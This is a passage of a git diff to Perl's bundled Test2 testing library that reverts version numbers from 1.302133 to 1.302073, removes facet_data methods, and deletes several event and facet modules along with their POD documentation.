$self->{+ENCODING}; - $out->{about}->{details} = $self->summary; - return $out; -} - - 1; __END__ @@ -87,7 +76,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Exception.pm b/cpan/Test-Simple/lib/Test2/Event/Exception.pm index 4ec36c57faa4..a10ca6756c0e 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Exception.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Exception.pm @@ -2,17 +2,12 @@ package Test2::Event::Exception; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } use Test2::Util::HashBase qw{error}; -sub init { - my $self = shift; - $self->{+ERROR} = "$self->{+ERROR}"; -} - sub causes_fail { 1 } sub summary { @@ -23,22 +18,6 @@ sub summary { sub diagnostics { 1 } -sub facet_data { - my $self = shift; - my $out = $self->common_facet_data; - - $out->{errors} = [ - { - tag => 'ERROR', - fail => 1, - details => $self->{+ERROR}, - } - ]; - - return $out; -} - - 1; __END__ @@ -76,10 +55,6 @@ The reason for the exception. =back -=head1 CAVEATS - -Be aware that all exceptions are stringified during construction. - =head1 SOURCE The source code repository for Test2 can be found at @@ -103,7 +78,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Fail.pm b/cpan/Test-Simple/lib/Test2/Event/Fail.pm deleted file mode 100644 index f243918627ff..000000000000 --- a/cpan/Test-Simple/lib/Test2/Event/Fail.pm +++ /dev/null @@ -1,118 +0,0 @@ -package Test2::Event::Fail; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Test2::EventFacet::Info; - -BEGIN { - require Test2::Event; - our @ISA = qw(Test2::Event); - *META_KEY = \&Test2::Util::ExternalMeta::META_KEY; -} - -use Test2::Util::HashBase qw{ -name -info }; - -############# -# Old API -sub summary { "fail" } -sub increments_count { 1 } -sub diagnostics { 0 } -sub no_display { 0 } -sub subtest_id { undef } -sub terminate { () } -sub global { () } -sub sets_plan { () } - -sub causes_fail { - my $self = shift; - return 0 if $self->{+AMNESTY} && @{$self->{+AMNESTY}}; - return 1; -} - -############# -# New API - -sub add_info { - my $self = shift; - - for my $in (@_) { - $in = {%$in} if ref($in) ne 'ARRAY'; - $in = Test2::EventFacet::Info->new($in); - - push @{$self->{+INFO}} => $in; - } -} - -sub facet_data { - my $self = shift; - my $out = $self->common_facet_data; - - $out->{about}->{details} = 'fail'; - - $out->{assert} = {pass => 0, details => $self->{+NAME}}; - - $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO}; - - return $out; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::Event::Fail - Event for a simple failed assertion - -=head1 DESCRIPTION - -This is an optimal representation of a failed assertion. - -=head1 SYNOPSIS - - use Test2::API qw/context/; - - sub fail { - my ($name) = @_; - my $ctx = context(); - $ctx->fail($name); - $ctx->release; - } - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/Event/Generic.pm b/cpan/Test-Simple/lib/Test2/Event/Generic.pm index b5bf934135cf..ad00f5a963dc 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Generic.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Generic.pm @@ -5,14 +5,14 @@ use warnings; use Carp qw/croak/; use Scalar::Util qw/reftype/; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } use Test2::Util::HashBase; my @FIELDS = qw{ causes_fail increments_count diagnostics no_display callback terminate - global sets_plan summary facet_data + global sets_plan summary }; my %DEFAULTS = ( causes_fail => 0, @@ -35,24 +35,15 @@ sub init { for my $field (@FIELDS) { no strict 'refs'; + my $stash = \%{__PACKAGE__ . "::"}; *$field = sub { exists $_[0]->{$field} ? $_[0]->{$field} : () } - unless exists &{$field}; + unless defined $stash->{$field} + && defined *{$stash->{$field}}{CODE}; *{"set_$field"} = sub { $_[0]->{$field} = $_[1] } - unless exists &{"set_$field"}; -} - -sub can { - my $self = shift; - my ($name) = @_; - return $self->SUPER::can($name) unless $name eq 'callback'; - return $self->{callback} || \&Test2::Event::callback; -} - -sub facet_data { - my $self = shift; - return $self->{facet_data} || $self->SUPER::facet_data(); + unless defined $stash->{"set_$field"} + && defined *{$stash->{"set_$field"}}{CODE}; } sub summary { @@ -166,14 +157,6 @@ a published reusable event subclass. =over 4 -=item $e->facet_data($data) - -=item $data = $e->facet_data - -Get or set the facet data (see L). If no facet_data is set then -C<< Test2::Event->facet_data >> will be called to produce facets from the other -data. - =item $e->callback($hub) Call the custom callback if one is set, otherwise this does nothing. @@ -270,7 +253,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Note.pm b/cpan/Test-Simple/lib/Test2/Event/Note.pm index 2fb1d0d6b9d2..b9a2ded1e139 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Note.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Note.pm @@ -2,7 +2,7 @@ package Test2::Event::Note; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } @@ -14,22 +14,6 @@ sub init { sub summary { $_[0]->{+MESSAGE} } -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{info} = [ - { - tag => 'NOTE', - debug => 0, - details => $self->{+MESSAGE}, - } - ]; - - return $out; -} - 1; __END__ @@ -87,7 +71,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Ok.pm b/cpan/Test-Simple/lib/Test2/Event/Ok.pm index fb9a8db529bb..456d6bbcf3cf 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Ok.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Ok.pm @@ -2,7 +2,7 @@ package Test2::Event::Ok; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } @@ -48,33 +48,6 @@ sub summary { return $name; } -sub extra_amnesty { - my $self = shift; - return unless defined($self->{+TODO}) || ($self->{+EFFECTIVE_PASS} && !$self->{+PASS}); - return { - tag => 'TODO', - details => $self->{+TODO}, - }; -} - -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{assert} = { - no_debug => 1, # Legacy behavior - pass => $self->{+PASS}, - details => $self->{+NAME}, - }; - - if (my @exra_amnesty = $self->extra_amnesty) { - unshift @{$out->{amnesty}} => @exra_amnesty; - } - - return $out; -} - 1; __END__ @@ -127,6 +100,11 @@ Name of the test. This is the true/false value of the test after TODO and similar modifiers are taken into account. +=item $b = $e->allow_bad_name + +This relaxes the test name checks such that they allow characters that can +confuse a TAP parser. + =back =head1 SOURCE @@ -152,7 +130,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Pass.pm b/cpan/Test-Simple/lib/Test2/Event/Pass.pm deleted file mode 100644 index 78fe1b2f3f8f..000000000000 --- a/cpan/Test-Simple/lib/Test2/Event/Pass.pm +++ /dev/null @@ -1,114 +0,0 @@ -package Test2::Event::Pass; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Test2::EventFacet::Info; - -BEGIN { - require Test2::Event; - our @ISA = qw(Test2::Event); - *META_KEY = \&Test2::Util::ExternalMeta::META_KEY; -} - -use Test2::Util::HashBase qw{ -name -info }; - -############## -# Old API -sub summary { "pass" } -sub increments_count { 1 } -sub causes_fail { 0 } -sub diagnostics { 0 } -sub no_display { 0 } -sub subtest_id { undef } -sub terminate { () } -sub global { () } -sub sets_plan { () } - -############## -# New API - -sub add_info { - my $self = shift; - - for my $in (@_) { - $in = {%$in} if ref($in) ne 'ARRAY'; - $in = Test2::EventFacet::Info->new($in); - - push @{$self->{+INFO}} => $in; - } -} - -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{about}->{details} = 'pass'; - - $out->{assert} = {pass => 1, details => $self->{+NAME}}; - - $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO}; - - return $out; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::Event::Pass - Event for a simple passing assertion - -=head1 DESCRIPTION - -This is an optimal representation of a passing assertion. - -=head1 SYNOPSIS - - use Test2::API qw/context/; - - sub pass { - my ($name) = @_; - my $ctx = context(); - $ctx->pass($name); - $ctx->release; - } - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/Event/Plan.pm b/cpan/Test-Simple/lib/Test2/Event/Plan.pm index a75e14d687e7..94b3030c349c 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Plan.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Plan.pm @@ -2,7 +2,7 @@ package Test2::Event::Plan; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } @@ -46,6 +46,17 @@ sub sets_plan { ); } +sub callback { + my $self = shift; + my ($hub) = @_; + + $hub->plan($self->{+DIRECTIVE} || $self->{+MAX}); + + return unless $self->{+DIRECTIVE}; + + $hub->set_skip_reason($self->{+REASON} || 1) if $self->{+DIRECTIVE} eq 'SKIP'; +} + sub terminate { my $self = shift; # On skip_all we want to terminate the hub @@ -68,26 +79,6 @@ sub summary { return "Plan is '$directive'"; } -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{control}->{terminate} = $self->{+DIRECTIVE} eq 'SKIP' ? 0 : undef - unless defined $out->{control}->{terminate}; - - $out->{plan} = {count => $self->{+MAX}}; - $out->{plan}->{details} = $self->{+REASON} if defined $self->{+REASON}; - - if (my $dir = $self->{+DIRECTIVE}) { - $out->{plan}->{skip} = 1 if $dir eq 'SKIP'; - $out->{plan}->{none} = 1 if $dir eq 'NO PLAN'; - } - - return $out; -} - - 1; __END__ @@ -159,7 +150,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Skip.pm b/cpan/Test-Simple/lib/Test2/Event/Skip.pm index 7a2e660f5177..7cca06165b90 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Skip.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Skip.pm @@ -2,7 +2,7 @@ package Test2::Event::Skip; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) } @@ -30,25 +30,6 @@ sub summary { return $out; } -sub extra_amnesty { - my $self = shift; - - my @out; - - push @out => { - tag => 'TODO', - details => $self->{+TODO}, - } if defined $self->{+TODO}; - - push @out => { - tag => 'skip', - details => $self->{+REASON}, - inherited => 0, - }; - - return @out; -} - 1; __END__ @@ -117,7 +98,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Subtest.pm b/cpan/Test-Simple/lib/Test2/Event/Subtest.pm index 3feb0f10ca77..2b3c773bf675 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Subtest.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Subtest.pm @@ -2,49 +2,50 @@ package Test2::Event::Subtest; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; + BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) } -use Test2::Util::HashBase qw{subevents buffered subtest_id subtest_uuid}; +use Test2::Util::HashBase qw{subevents buffered subtest_id}; sub init { - my $self = shift; - $self->SUPER::init(); - $self->{+SUBEVENTS} ||= []; - if ($self->{+EFFECTIVE_PASS}) { - $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}; - } + my $self = shift; + $self->SUPER::init(); + $self->{+SUBEVENTS} ||= []; + if ($self->{+EFFECTIVE_PASS}) { + $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}; + } } { - no warnings 'redefine'; - - sub set_subevents { - my $self = shift; - my @subevents = @_; - - if ($self->{+EFFECTIVE_PASS}) { - $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @subevents; - } - - $self->{+SUBEVENTS} = \@subevents; - } - - sub set_effective_pass { - my $self = shift; - my ($pass) = @_; - - if ($pass) { - $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}; - } - elsif ($self->{+EFFECTIVE_PASS} && !$pass) { - for my $s (grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}) { - $_->set_effective_pass(0) unless $s->can('todo') && defined $s->todo; - } - } - - $self->{+EFFECTIVE_PASS} = $pass; - } + no warnings 'redefine'; + + sub set_subevents { + my $self = shift; + my @subevents = @_; + + if ($self->{+EFFECTIVE_PASS}) { + $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @subevents; + } + + $self->{+SUBEVENTS} = \@subevents; + } + + sub set_effective_pass { + my $self = shift; + my ($pass) = @_; + + if ($pass) { + $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}; + } + elsif ($self->{+EFFECTIVE_PASS} && !$pass) { + for my $s (grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}) { + $_->set_effective_pass(0) unless $s->can('todo') && defined $s->todo; + } + } + + $self->{+EFFECTIVE_PASS} = $pass; + } } sub summary { @@ -57,42 +58,12 @@ sub summary { $name .= " (TODO: $todo)"; } elsif (defined $todo) { - $name .= " (TODO)"; + $name .= " (TODO)" } return $name; } -sub facet_data { - my $self = shift; - - my $out = $self->SUPER::facet_data(); - - $out->{parent} = { - hid => $self->subtest_id, - children => [map {$_->facet_data} @{$self->{+SUBEVENTS}}], - buffered => $self->{+BUFFERED}, - }; - - return $out; -} - -sub add_amnesty { - my $self = shift; - - for my $am (@_) { - $am = {%$am} if ref($am) ne 'ARRAY'; - $am = Test2::EventFacet::Amnesty->new($am); - - push @{$self->{+AMNESTY}} => $am; - - for my $e (@{$self->{+SUBEVENTS}}) { - $e->add_amnesty($am->clone(inherited => 1)); - } - } -} - - 1; __END__ @@ -150,7 +121,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm b/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm index 03f2621c0e51..b96a25adde45 100644 --- a/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm +++ b/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm @@ -2,36 +2,18 @@ package Test2::Event::TAP::Version; use strict; use warnings; -our $VERSION = '1.302133'; - -use Carp qw/croak/; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } use Test2::Util::HashBase qw/version/; sub init { my $self = shift; - defined $self->{+VERSION} or croak "'version' is a required attribute"; + defined $self->{+VERSION} or $self->trace->throw("'version' is a required attribute"); } sub summary { 'TAP version ' . $_[0]->{+VERSION} } -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{about}->{details} = $self->summary; - - push @{$out->{info}} => { - tag => 'INFO', - debug => 0, - details => $self->summary, - }; - - return $out; -} - 1; __END__ @@ -91,7 +73,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/V2.pm b/cpan/Test-Simple/lib/Test2/Event/V2.pm deleted file mode 100644 index 86a44d4c281c..000000000000 --- a/cpan/Test-Simple/lib/Test2/Event/V2.pm +++ /dev/null @@ -1,238 +0,0 @@ -package Test2::Event::V2; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Scalar::Util qw/reftype/; -use Carp qw/croak/; - -BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } - -use Test2::Util::Facets2Legacy qw{ - causes_fail diagnostics global increments_count no_display sets_plan - subtest_id summary terminate -}; - -use Test2::Util::HashBase qw/-about/; - -sub non_facet_keys { - return ( - +UUID, - Test2::Util::ExternalMeta::META_KEY(), - ); -} - -sub init { - my $self = shift; - - my $uuid; - if ($uuid = $self->{+UUID}) { - croak "uuid '$uuid' passed to constructor, but uuid '$self->{+ABOUT}->{uuid}' is already set in the 'about' facet" - if $self->{+ABOUT}->{uuid} && $self->{+ABOUT}->{uuid} ne $uuid; - - $self->{+ABOUT}->{uuid} = $uuid; - } - elsif ($uuid = $self->{+ABOUT}->{uuid}) { - $self->SUPER::set_uuid($uuid); - } - - # Clone the trace, make sure it is blessed - if (my $trace = $self->{+TRACE}) { - $self->{+TRACE} = Test2::EventFacet::Trace->new(%$trace); - } -} - -sub set_uuid { - my $self = shift; - my ($uuid) = @_; - $self->{+ABOUT}->{uuid} = $uuid; - $self->SUPER::set_uuid($uuid); -} - -sub facet_data { - my $self = shift; - my $f = { %{$self} }; - - delete $f->{$_} for $self->non_facet_keys; - - my %out; - for my $k (keys %$f) { - next if substr($k, 0, 1) eq '_'; - - my $data = $f->{$k}; - my $is_list = reftype($data) eq 'ARRAY'; - $out{$k} = $is_list ? [ map { {%{$_}} } @$data ] : {%$data}; - } - - if (my $meta = $self->meta_facet_data) { - $out{meta} = {%$meta, %{$out{meta} || {}}}; - } - - return \%out; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::Event::V2 - Second generation event. - -=head1 DESCRIPTION - -This is the event type that should be used instead of L or its -legacy subclasses. - -=head1 SYNOPSIS - -=head2 USING A CONTEXT - - use Test2::API qw/context/; - - sub my_tool { - my $ctx = context(); - - my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]); - - $ctx->release; - - return $event; - } - -=head2 USING THE CONSTRUCTOR - - use Test2::Event::V2; - - my $e = Test2::Event::V2->new( - trace => {frame => [$PKG, $FILE, $LINE, $SUBNAME]}, - info => [{tag => 'NOTE', details => "This is a note"}], - ); - -=head1 METHODS - -This class inherits from L. - -=over 4 - -=item $fd = $e->facet_data() - -This will return a hashref of facet data. Each facet hash will be a shallow -copy of the original. - -=item $about = $e->about() - -This will return the 'about' facet hashref. - -B This will return the internal hashref, not a copy. - -=item $trace = $e->trace() - -This will return the 'trace' facet, normally blessed (but this is not enforced -when the trace is set using C. - -B This will return the internal trace, not a copy. - -=back - -=head2 MUTATION - -=over 4 - -=item $e->add_amnesty({...}) - -Inherited from L. This can be used to add 'amnesty' facets to an -existing event. Each new item is added to the B of the list. - -B Items B blessed when added. - -=item $e->add_hub({...}) - -Inherited from L. This is used by hubs to stamp events as they -pass through. New items are added to the B of the list. - -B Items B blessed when added. - -=item $e->set_uuid($UUID) - -Inherited from L, overridden to also vivify/mutate the 'about' -facet. - -=item $e->set_trace($trace) - -Inherited from L which allows you to change the trace. - -B This method does not bless/clone the trace for you. Many things will -expect the trace to be blessed, so you should probably do that. - -=back - -=head2 LEGACY SUPPORT METHODS - -These are all imported from L, see that module or -L for documentation on what they do. - -=over 4 - -=item causes_fail - -=item diagnostics - -=item global - -=item increments_count - -=item no_display - -=item sets_plan - -=item subtest_id - -=item summary - -=item terminate - -=back - -=head1 THIRD PARTY META-DATA - -This object consumes L which provides a consistent -way for you to attach meta-data to instances of this class. This is useful for -tools, plugins, and other extensions. - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/Event/Waiting.pm b/cpan/Test-Simple/lib/Test2/Event/Waiting.pm index 58b583fd5eab..fa87c6e8dd7d 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Waiting.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Waiting.pm @@ -2,30 +2,15 @@ package Test2::Event::Waiting; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } -use Test2::Util::HashBase; sub global { 1 }; sub summary { "IPC is waiting for children to finish..." } -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - push @{$out->{info}} => { - tag => 'INFO', - debug => 0, - details => $self->summary, - }; - - return $out; -} - 1; __END__ @@ -66,7 +51,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/EventFacet.pm b/cpan/Test-Simple/lib/Test2/EventFacet.pm deleted file mode 100644 index 619d369120cf..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet.pm +++ /dev/null @@ -1,93 +0,0 @@ -package Test2::EventFacet; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Test2::Util::HashBase qw/-details/; -use Carp qw/croak/; - -my $SUBLEN = length(__PACKAGE__ . '::'); -sub facet_key { - my $key = ref($_[0]) || $_[0]; - substr($key, 0, $SUBLEN, ''); - return lc($key); -} - -sub is_list { 0 } - -sub clone { - my $self = shift; - my $type = ref($self); - return bless {%$self, @_}, $type; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet - Base class for all event facets. - -=head1 DESCRIPTION - -Base class for all event facets. - -=head1 METHODS - -=over 4 - -=item $key = $facet_class->facet_key() - -This will return the key for the facet in the facet data hash. - -=item $bool = $facet_class->is_list() - -This will return true if the facet should be in a list instead of a single -item. - -=item $clone = $facet->clone() - -=item $clone = $facet->clone(%replace) - -This will make a shallow clone of the facet. You may specify fields to override -as arguments. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/About.pm b/cpan/Test-Simple/lib/Test2/EventFacet/About.pm deleted file mode 100644 index fe1d30eca057..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/About.pm +++ /dev/null @@ -1,86 +0,0 @@ -package Test2::EventFacet::About; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -package -no_display -uuid }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::About - Facet with event details. - -=head1 DESCRIPTION - -This facet has information about the event, such as event package. - -=head1 FIELDS - -=over 4 - -=item $string = $about->{details} - -=item $string = $about->details() - -Summary about the event. - -=item $package = $about->{package} - -=item $package = $about->package() - -Event package name. - -=item $bool = $about->{no_display} - -=item $bool = $about->no_display() - -True if the event should be skipped by formatters. - -=item $uuid = $about->{uuid} - -=item $uuid = $about->uuid() - -Will be set to a uuid if uuid tagging was enabled. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm deleted file mode 100644 index 9ef227f16698..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm +++ /dev/null @@ -1,91 +0,0 @@ -package Test2::EventFacet::Amnesty; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -sub is_list { 1 } - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -tag -inherited }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Amnesty - Facet for assertion amnesty. - -=head1 DESCRIPTION - -This package represents what is expected in units of amnesty. - -=head1 NOTES - -This facet appears in a list instead of being a single item. - -=head1 FIELDS - -=over 4 - -=item $string = $amnesty->{details} - -=item $string = $amnesty->details() - -Human readable explanation of why amnesty was granted. - -Example: I - -=item $short_string = $amnesty->{tag} - -=item $short_string = $amnesty->tag() - -Short string (usually 10 characters or less, not enforced, but may be truncated -by renderers) categorizing the amnesty. - -=item $bool = $amnesty->{inherited} - -=item $bool = $amnesty->inherited() - -This will be true if the amnesty was granted to a parent event and inherited by -this event, which is a child, such as an assertion within a subtest that is -marked todo. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm deleted file mode 100644 index 090860aa0bb6..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm +++ /dev/null @@ -1,93 +0,0 @@ -package Test2::EventFacet::Assert; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -pass -no_debug -number }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Assert - Facet representing an assertion. - -=head1 DESCRIPTION - -The assertion facet is provided by any event representing an assertion that was -made. - -=head1 FIELDS - -=over 4 - -=item $string = $assert->{details} - -=item $string = $assert->details() - -Human readable description of the assertion. - -=item $bool = $assert->{pass} - -=item $bool = $assert->pass() - -True if the assertion passed. - -=item $bool = $assert->{no_debug} - -=item $bool = $assert->no_debug() - -Set this to true if you have provided custom diagnostics and do not want the -defaults to be displayed. - -=item $int = $assert->{number} - -=item $int = $assert->number() - -(Optional) assertion number. This may be omitted or ignored. This is usually -only useful when parsing/processing TAP. - -B: This is not set by the Test2 system, assertion number is not known -until AFTER the assertion has been processed. This attribute is part of the -spec only for harnesses. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm deleted file mode 100644 index b52718df557e..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm +++ /dev/null @@ -1,100 